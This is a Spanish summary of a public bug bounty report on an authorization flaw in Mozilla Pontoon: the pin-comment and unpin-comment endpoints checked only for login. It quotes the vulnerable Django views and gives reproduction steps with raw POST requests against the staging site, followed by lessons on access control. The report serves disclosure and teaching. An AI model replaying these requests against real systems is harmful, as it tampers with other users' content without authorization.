Reports
BAJA[IDOR / BOLA]#3025797

Mozilla Pontoon: cualquier usuario podía fijar o desfijar comentarios ajenos en cualquier proyecto o idioma

Los endpoints /pin-comment/ y /unpin-comment/ de Pontoon solo exigían sesión iniciada: el botón se ocultaba en la interfaz, pero el servidor no comprobaba si el usuario era gestor del proyecto.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Pontoon, la plataforma de Mozilla para traducir sus productos, permite fijar ("pin") comentarios en las cadenas de traducción para destacarlos. Esa función está pensada solo para usuarios con privilegios, como los gestores de proyecto (Project Manager).

El problema es que esa restricción solo existía en el frontend. El componente Comment.tsx decide si dibuja los botones PIN / UNPIN según la variable canPin:

 {canPin ? (
            comment.pinned ? (
              // Unpin Button
              <Localized
                id='comments-Comment--unpin-button'
                attrs={{ title: true }}
              >
                <button
                  className='pin-button'
                  title='Unpin comment'
                  onClick={handlePinAndUnpin}
                >
                  {'UNPIN'}
                </button>
              </Localized>
            ) : (
              // Pin Button
              <Localized
                id='comments-Comment--pin-button'
                attrs={{ title: true }}
              >
                <button
                  className='pin-button'
                  title='Pin comment'
                  onClick={handlePinAndUnpin}
                >
                  {'PIN'}
                </button>
              </Localized>
            )
          ) : null}

En el backend (pontoon/base/views.py), en cambio, las vistas pin_comment y unpin_comment solo exigen que haya sesión iniciada (@login_required) y que la petición sea POST. Buscan el comentario por su ID y cambian el campo pinned sin comprobar quién lo pide ni a qué proyecto o idioma pertenece:

@login_required(redirect_field_name="", login_url="/403")
@require_POST
@transaction.atomic
def pin_comment(request):
    """Update a comment as pinned"""
    comment_id = request.POST.get("comment_id", None)
    if not comment_id:
        return JsonResponse({"status": False, "message": "Bad Request"}, status=400)

    comment = get_object_or_404(Comment, id=comment_id)

    comment.pinned = True
    comment.save()

    _send_pin_comment_notifications(request.user, comment)

    return JsonResponse({"status": True})


@login_required(redirect_field_name="", login_url="/403")
@require_POST
@transaction.atomic
def unpin_comment(request):
    """Update a comment as unpinned"""
    comment_id = request.POST.get("comment_id", None)
    if not comment_id:
        return JsonResponse({"status": False, "message": "Bad Request"}, status=400)

    comment = get_object_or_404(Comment, id=comment_id)

    comment.pinned = False
    comment.save()

    return JsonResponse({"status": True})

Así, cualquier cuenta normal podía fijar o desfijar cualquier comentario de cualquier proyecto o idioma con solo conocer su ID. El investigador lo demostró en el entorno de staging (mozilla-pontoon-staging.herokuapp.com).

Pasos de reproducción

  1. Inicia sesión con una cuenta normal, sin privilegios, en https://mozilla-pontoon-staging.herokuapp.com/.
  2. Entra en Teams, elige cualquier idioma, luego cualquier proyecto y, dentro de él, cualquier recurso.
  3. Aparece la lista de cadenas por traducir; a la derecha está la sección de comentarios.
  4. Configura un proxy de interceptación y publica algún comentario. Comprueba que no hay botón para fijar ni desfijar: la interfaz lo oculta porque canPin es falso.
  5. En el historial del proxy busca la petición al endpoint /get-team-comments/. Su respuesta incluye todos los comentarios con sus IDs; copia uno.
  6. Envía la siguiente petición sustituyendo tus cookies de sesión, tu token anti-CSRF y el ID del comentario:
POST /pin-comment/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: [REDACTADO]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Prefer: safe
Referer: https://mozilla-pontoon-staging.herokuapp.com/eu/amo-frontend/LC_MESSAGES/amo.po/?string=175106
X-Csrftoken: [REDACTADO]
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 16
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

comment_id=25725
  1. El servidor responde 200 OK. Recarga la página en el navegador: el comentario aparece fijado.
  2. Para desfijarlo, envía esta otra petición:
POST /unpin-comment/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: [REDACTADO]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Prefer: safe
Referer: https://mozilla-pontoon-staging.herokuapp.com/eu/amo-frontend/LC_MESSAGES/amo.po/?string=175106
X-Csrftoken: [REDACTADO]
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 16
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

comment_id=25725
  1. Para confirmar que afecta a comentarios ajenos, publica un comentario desde otra cuenta en cualquier proyecto o traducción y repite las peticiones con su ID: se fija y se desfija igual.

Impacto

Un usuario sin privilegios podía ejecutar una acción reservada a los gestores de proyecto: fijar o desfijar el comentario de cualquier usuario en cualquier proyecto o idioma de Pontoon. Según el código citado, fijar un comentario además dispara las notificaciones asociadas (_send_pin_comment_notifications). El programa lo clasificó con severidad baja y lo recompensó (importe no público).

Qué aprender de este caso

  • Si un botón aparece o desaparece según una variable de permisos en el frontend (como canPin), localiza el endpoint que llama ese botón y pruébalo directamente desde una cuenta sin el permiso: ocultar la interfaz no es control de acceso.
  • En Django, @login_required solo garantiza que hay sesión; en vistas que modifican objetos por ID (get_object_or_404(Model, id=...)) hay que comprobar además el rol del usuario sobre el proyecto o idioma al que pertenece ese objeto.
  • Los endpoints de listado como /get-team-comments/ suelen entregar los IDs que luego necesitan las acciones privilegiadas; revisa qué identificadores exponen y si se pueden reutilizar en otras rutas.
  • Las parejas de acciones (pin/unpin, lock/unlock, approve/reject) deben compartir la misma comprobación de permisos; conviene revisarlas juntas porque si falta en una, a menudo falta en la otra.